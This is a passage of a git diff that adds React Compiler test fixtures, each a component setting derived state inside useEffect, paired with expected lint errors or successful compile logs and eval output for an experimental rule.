+  useEffect(() => {
+    setName(initialName);
+  }, [initialName]);
+
+  return (
+    <div>
+      <input value={name} onChange={e => setName(e.target.value)} />
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{initialName: 'John'}],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import { useEffect, useState } from "react";
+
+function Component({ initialName }) {
+  const [name, setName] = useState("");
+
+  useEffect(() => {
+    setName(initialName);
+  }, [initialName]);
+
+  return (
+    <div>
+      <input value={name} onChange={(e) => setName(e.target.value)} />
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ initialName: "John" }],
+};
+
+```
+
+## Logs
+
+```
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":0,"index":126},"end":{"line":16,"column":1,"index":378},"filename":"derived-state-from-prop-setter-call-outside-effect-no-error.ts"},"fnName":"Component","memoSlots":6,"memoBlocks":3,"memoValues":4,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: ok) <div><input value="John"></div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-call-outside-effect-no-error.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-call-outside-effect-no-error.js
new file mode 100644
index 000000000000..e454caf2ec81
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-call-outside-effect-no-error.js
@@ -0,0 +1,21 @@
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component({initialName}) {
+  const [name, setName] = useState('');
+
+  useEffect(() => {
+    setName(initialName);
+  }, [initialName]);
+
+  return (
+    <div>
+      <input value={name} onChange={e => setName(e.target.value)} />
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{initialName: 'John'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-ternary.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-ternary.expect.md
new file mode 100644
index 000000000000..226a3938bd7d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-ternary.expect.md
@@ -0,0 +1,37 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @outputMode:"lint"
+
+function Component({value}) {
+  const [checked, setChecked] = useState('');
+
+  useEffect(() => {
+    setChecked(value === '' ? [] : value.split(','));
+  }, [value]);
+
+  return <div>{checked}</div>;
+}
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @outputMode:"lint"
+
+function Component({ value }) {
+  const [checked, setChecked] = useState("");
+
+  useEffect(() => {
+    setChecked(value === "" ? [] : value.split(","));
+  }, [value]);
+
+  return <div>{checked}</div>;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-ternary.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-ternary.js
new file mode 100644
index 000000000000..1c020d3015d1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-ternary.js
@@ -0,0 +1,11 @@
+// @validateNoDerivedComputationsInEffects_exp @outputMode:"lint"
+
+function Component({value}) {
+  const [checked, setChecked] = useState('');
+
+  useEffect(() => {
+    setChecked(value === '' ? [] : value.split(','));
+  }, [value]);
+
+  return <div>{checked}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-used-outside-effect-no-error.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-used-outside-effect-no-error.expect.md
new file mode 100644
index 000000000000..de184ede6394
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-used-outside-effect-no-error.expect.md
@@ -0,0 +1,62 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function MockComponent({onSet}) {
+  return <div onClick={() => onSet('clicked')}>Mock Component</div>;
+}
+
+function Component({propValue}) {
+  const [value, setValue] = useState(null);
+  useEffect(() => {
+    setValue(propValue);
+  }, [propValue]);
+
+  return <MockComponent onSet={setValue} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{propValue: 'test'}],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import { useEffect, useState } from "react";
+
+function MockComponent({ onSet }) {
+  return <div onClick={() => onSet("clicked")}>Mock Component</div>;
+}
+
+function Component({ propValue }) {
+  const [value, setValue] = useState(null);
+  useEffect(() => {
+    setValue(propValue);
+  }, [propValue]);
+
+  return <MockComponent onSet={setValue} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ propValue: "test" }],
+};
+
+```
+
+## Logs
+
+```
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":0,"index":126},"end":{"line":6,"column":1,"index":230},"filename":"derived-state-from-prop-setter-used-outside-effect-no-error.ts"},"fnName":"MockComponent","memoSlots":2,"memoBlocks":1,"memoValues":1,"prunedMemoBlocks":0,"prunedMemoValues":0}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":8,"column":0,"index":232},"end":{"line":15,"column":1,"index":421},"filename":"derived-state-from-prop-setter-used-outside-effect-no-error.ts"},"fnName":"Component","memoSlots":4,"memoBlocks":2,"memoValues":3,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: ok) <div>Mock Component</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-used-outside-effect-no-error.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-used-outside-effect-no-error.js
new file mode 100644
index 000000000000..879d582c924d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-used-outside-effect-no-error.js
@@ -0,0 +1,20 @@
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function MockComponent({onSet}) {
+  return <div onClick={() => onSet('clicked')}>Mock Component</div>;
+}
+
+function Component({propValue}) {
+  const [value, setValue] = useState(null);
+  useEffect(() => {
+    setValue(propValue);
+  }, [propValue]);
+
+  return <MockComponent onSet={setValue} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{propValue: 'test'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-with-side-effect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-with-side-effect.expect.md
new file mode 100644
index 000000000000..fc4d86a3f292
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-with-side-effect.expect.md
@@ -0,0 +1,58 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component({value}) {
+  const [localValue, setLocalValue] = useState('');
+
+  useEffect(() => {
+    setLocalValue(value);
+    document.title = `Value: ${value}`;
+  }, [value]);
+
+  return <div>{localValue}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 'test'}],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import { useEffect, useState } from "react";
+
+function Component({ value }) {
+  const [localValue, setLocalValue] = useState("");
+
+  useEffect(() => {
+    setLocalValue(value);
+    document.title = `Value: ${value}`;
+  }, [value]);
+
+  return <div>{localValue}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: "test" }],
+};
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"description":"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\n\nThis setState call is setting a derived value that depends on the following reactive sources:\n\nProps: [value]\n\nData Flow Tree:\n└── value (Prop)\n\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state","category":"EffectDerivationsOfState","reason":"You might not need an effect. Derive values in render, not effects.","details":[{"kind":"error","loc":{"start":{"line":8,"column":4,"index":233},"end":{"line":8,"column":17,"index":246},"filename":"derived-state-from-prop-with-side-effect.ts","identifierName":"setLocalValue"},"message":"This should be computed during render, not in an effect"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":0,"index":126},"end":{"line":13,"column":1,"index":346},"filename":"derived-state-from-prop-with-side-effect.ts"},"fnName":"Component","memoSlots":5,"memoBlocks":2,"memoValues":3,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: ok) <div>test</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-with-side-effect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-with-side-effect.js
new file mode 100644
index 000000000000..b6cebdb40807
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-with-side-effect.js
@@ -0,0 +1,18 @@
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component({value}) {
+  const [localValue, setLocalValue] = useState('');
+
+  useEffect(() => {
+    setLocalValue(value);
+    document.title = `Value: ${value}`;
+  }, [value]);
+
+  return <div>{localValue}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 'test'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-ref-and-state-no-error.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-ref-and-state-no-error.expect.md
new file mode 100644
index 000000000000..f11a4b26b533
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-ref-and-state-no-error.expect.md
@@ -0,0 +1,59 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState, useRef} from 'react';
+
+export default function Component({test}) {
+  const [local, setLocal] = useState('');
+
+  const myRef = useRef(null);
+
+  useEffect(() => {
+    setLocal(myRef.current + test);
+  }, [test]);
+
+  return <>{local}</>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{test: 'testString'}],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import { useEffect, useState, useRef } from "react";
+
+export default function Component({ test }) {
+  const [local, setLocal] = useState("");
+
+  const myRef = useRef(null);
+
+  useEffect(() => {
+    setLocal(myRef.current + test);
+  }, [test]);
+
+  return <>{local}</>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ test: "testString" }],
+};
+
+```
+
+## Logs
+
+```
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":15,"index":149},"end":{"line":14,"column":1,"index":347},"filename":"derived-state-from-ref-and-state-no-error.ts"},"fnName":"Component","memoSlots":5,"memoBlocks":2,"memoValues":3,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: ok) nulltestString
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-ref-and-state-no-error.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-ref-and-state-no-error.js
new file mode 100644
index 000000000000..9425aee24419
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-ref-and-state-no-error.js
@@ -0,0 +1,19 @@
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState, useRef} from 'react';
+
+export default function Component({test}) {
+  const [local, setLocal] = useState('');
+
+  const myRef = useRef(null);
+
+  useEffect(() => {
+    setLocal(myRef.current + test);
+  }, [test]);
+
+  return <>{local}</>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{test: 'testString'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-contains-local-function-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-contains-local-function-call.expect.md
new file mode 100644
index 000000000000..080aa8e04dcd
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-contains-local-function-call.expect.md
@@ -0,0 +1,67 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component({propValue}) {
+  const [value, setValue] = useState(null);
+
+  function localFunction() {
+    console.log('local function');
+  }
+
+  useEffect(() => {
+    setValue(propValue);
+    localFunction();
+  }, [propValue]);
+
+  return <div>{value}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{propValue: 'test'}],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import { useEffect, useState } from "react";
+
+function Component({ propValue }) {
+  const [value, setValue] = useState(null);
+
+  function localFunction() {
+    console.log("local function");
+  }
+
+  useEffect(() => {
+    setValue(propValue);
+    localFunction();
+  }, [propValue]);
+
+  return <div>{value}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ propValue: "test" }],
+};
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"description":"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\n\nThis setState call is setting a derived value that depends on the following reactive sources:\n\nProps: [propValue]\n\nData Flow Tree:\n└── propValue (Prop)\n\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state","category":"EffectDerivationsOfState","reason":"You might not need an effect. Derive values in render, not effects.","details":[{"kind":"error","loc":{"start":{"line":12,"column":4,"index":298},"end":{"line":12,"column":12,"index":306},"filename":"effect-contains-local-function-call.ts","identifierName":"setValue"},"message":"This should be computed during render, not in an effect"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":0,"index":126},"end":{"line":17,"column":1,"index":390},"filename":"effect-contains-local-function-call.ts"},"fnName":"Component","memoSlots":6,"memoBlocks":3,"memoValues":4,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: ok) <div>test</div>
+logs: ['local function']
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-contains-local-function-call.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-contains-local-function-call.js
new file mode 100644
index 000000000000..3eabb40feeb6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-contains-local-function-call.js
@@ -0,0 +1,22 @@
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component({propValue}) {
+  const [value, setValue] = useState(null);
+
+  function localFunction() {
+    console.log('local function');
+  }
+
+  useEffect(() => {
+    setValue(propValue);
+    localFunction();
+  }, [propValue]);
+
+  return <div>{value}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{propValue: 'test'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-contains-prop-function-call-no-error.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-contains-prop-function-call-no-error.expect.md
new file mode 100644
index 000000000000..374877863dd3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-contains-prop-function-call-no-error.expect.md
@@ -0,0 +1,56 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component({propValue, onChange}) {
+  const [value, setValue] = useState(null);
+  useEffect(() => {
+    setValue(propValue);
+    onChange();
+  }, [propValue]);
+
+  return <div>{value}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{propValue: 'test', onChange: () => {}}],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import { useEffect, useState } from "react";
+
+function Component({ propValue, onChange }) {
+  const [value, setValue] = useState(null);
+  useEffect(() => {
+    setValue(propValue);
+    onChange();
+  }, [propValue]);
+
+  return <div>{value}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ propValue: "test", onChange: () => {} }],
+};
+
+```
+
+## Logs
+
+```
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":0,"index":126},"end":{"line":12,"column":1,"index":325},"filename":"effect-contains-prop-function-call-no-error.ts"},"fnName":"Component","memoSlots":7,"memoBlocks":3,"memoValues":3,"prunedMemoBlocks":0,"prunedMemoValues":0}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":16,"column":41,"index":421},"end":{"line":16,"column":49,"index":429},"filename":"effect-contains-prop-function-call-no-error.ts"},"fnName":null,"memoSlots":0,"memoBlocks":0,"memoValues":0,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: ok) <div>test</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-contains-prop-function-call-no-error.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-contains-prop-function-call-no-error.js
new file mode 100644
index 000000000000..c9c9778ab844
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-contains-prop-function-call-no-error.js
@@ -0,0 +1,17 @@
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component({propValue, onChange}) {
+  const [value, setValue] = useState(null);
+  useEffect(() => {
+    setValue(propValue);
+    onChange();
+  }, [propValue]);
+
+  return <div>{value}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{propValue: 'test', onChange: () => {}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-used-in-dep-array-still-errors.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-used-in-dep-array-still-errors.expect.md
new file mode 100644
index 000000000000..1bd8fa23faa7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-used-in-dep-array-still-errors.expect.md
@@ -0,0 +1,42 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+
+function Component({prop}) {
+  const [s, setS] = useState(0);
+  useEffect(() => {
+    setS(prop);
+  }, [prop, setS]);
+
+  return <div>{prop}</div>;
+}
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+
+function Component({ prop }) {
+  const [s, setS] = useState(0);
+  useEffect(() => {
+    setS(prop);
+  }, [prop, setS]);
+
+  return <div>{prop}</div>;
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"description":"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\n\nThis setState call is setting a derived value that depends on the following reactive sources:\n\nProps: [prop]\n\nData Flow Tree:\n└── prop (Prop)\n\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state","category":"EffectDerivationsOfState","reason":"You might not need an effect. Derive values in render, not effects.","details":[{"kind":"error","loc":{"start":{"line":6,"column":4,"index":169},"end":{"line":6,"column":8,"index":173},"filename":"effect-used-in-dep-array-still-errors.ts","identifierName":"setS"},"message":"This should be computed during render, not in an effect"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":3,"column":0,"index":83},"end":{"line":10,"column":1,"index":231},"filename":"effect-used-in-dep-array-still-errors.ts"},"fnName":"Component","memoSlots":5,"memoBlocks":2,"memoValues":3,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-used-in-dep-array-still-errors.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-used-in-dep-array-still-errors.js
new file mode 100644
index 000000000000..bf48efbbc100
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-used-in-dep-array-still-errors.js
@@ -0,0 +1,10 @@
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+
+function Component({prop}) {
+  const [s, setS] = useState(0);
+  useEffect(() => {
+    setS(prop);
+  }, [prop, setS]);
+
+  return <div>{prop}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-with-cleanup-function-depending-on-derived-computation-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-with-cleanup-function-depending-on-derived-computation-value.expect.md
new file mode 100644
index 000000000000..ac72a4414844
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-with-cleanup-function-depending-on-derived-computation-value.expect.md
@@ -0,0 +1,63 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+
+import {useEffect, useState} from 'react';
+
+function Component(file: File) {
+  const [imageUrl, setImageUrl] = useState(null);
+
+  /*
+   * Cleaning up the variable or a source of the variable used to setState
+   * inside the effect communicates that we always need to clean up something
+   * which is a valid use case for useEffect. In which case we want to
+   * avoid an throwing
+   */
+  useEffect(() => {
+    const imageUrlPrepared = URL.createObjectURL(file);
+    setImageUrl(imageUrlPrepared);
+    return () => URL.revokeObjectURL(imageUrlPrepared);
+  }, [file]);
+
+  return <Image src={imageUrl} xstyle={styles.imageSizeLimits} />;
+}
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+
+import { useEffect, useState } from "react";
+
+function Component(file: File) {
+  const [imageUrl, setImageUrl] = useState(null);
+
+  /*
+   * Cleaning up the variable or a source of the variable used to setState
+   * inside the effect communicates that we always need to clean up something
+   * which is a valid use case for useEffect. In which case we want to
+   * avoid an throwing
+   */
+  useEffect(() => {
+    const imageUrlPrepared = URL.createObjectURL(file);
+    setImageUrl(imageUrlPrepared);
+    return () => URL.revokeObjectURL(imageUrlPrepared);
+  }, [file]);
+
+  return <Image src={imageUrl} xstyle={styles.imageSizeLimits} />;
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":5,"column":0,"index":127},"end":{"line":21,"column":1,"index":719},"filename":"effect-with-cleanup-function-depending-on-derived-computation-value.ts"},"fnName":"Component","memoSlots":5,"memoBlocks":2,"memoValues":3,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-with-cleanup-function-depending-on-derived-computation-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-with-cleanup-function-depending-on-derived-computation-value.js
new file mode 100644
index 000000000000..16e52562bd83
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-with-cleanup-function-depending-on-derived-computation-value.js
@@ -0,0 +1,21 @@
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+
+import {useEffect, useState} from 'react';
+
+function Component(file: File) {
+  const [imageUrl, setImageUrl] = useState(null);
+
+  /*
+   * Cleaning up the variable or a source of the variable used to setState
+   * inside the effect communicates that we always need to clean up something
+   * which is a valid use case for useEffect. In which case we want to
+   * avoid an throwing
+   */
+  useEffect(() => {
+    const imageUrlPrepared = URL.createObjectURL(file);
+    setImageUrl(imageUrlPrepared);
+    return () => URL.revokeObjectURL(imageUrlPrepared);
+  }, [file]);
+
+  return <Image src={imageUrl} xstyle={styles.imageSizeLimits} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-with-global-function-call-no-error.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-with-global-function-call-no-error.expect.md
new file mode 100644
index 000000000000..58328b2e9597
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-with-global-function-call-no-error.expect.md
@@ -0,0 +1,55 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component({propValue}) {
+  const [value, setValue] = useState(null);
+  useEffect(() => {
+    setValue(propValue);
+    globalCall();
+  }, [propValue]);
+
+  return <div>{value}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{propValue: 'test'}],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import { useEffect, useState } from "react";
+
+function Component({ propValue }) {
+  const [value, setValue] = useState(null);
+  useEffect(() => {
+    setValue(propValue);
+    globalCall();
+  }, [propValue]);
+
+  return <div>{value}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ propValue: "test" }],
+};
+
+```
+
+## Logs
+
+```
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":0,"index":126},"end":{"line":12,"column":1,"index":317},"filename":"effect-with-global-function-call-no-error.ts"},"fnName":"Component","memoSlots":5,"memoBlocks":2,"memoValues":3,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) globalCall is not defined
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-with-global-function-call-no-error.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-with-global-function-call-no-error.js
new file mode 100644
index 000000000000..565e23bb0fe3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-with-global-function-call-no-error.js
@@ -0,0 +1,17 @@
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component({propValue}) {
+  const [value, setValue] = useState(null);
+  useEffect(() => {
+    setValue(propValue);
+    globalCall();
+  }, [propValue]);
+
+  return <div>{value}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{propValue: 'test'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/from-props-setstate-in-effect-no-error.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/from-props-setstate-in-effect-no-error.expect.md
new file mode 100644
index 000000000000..7ba22f518642
--- /dev/null
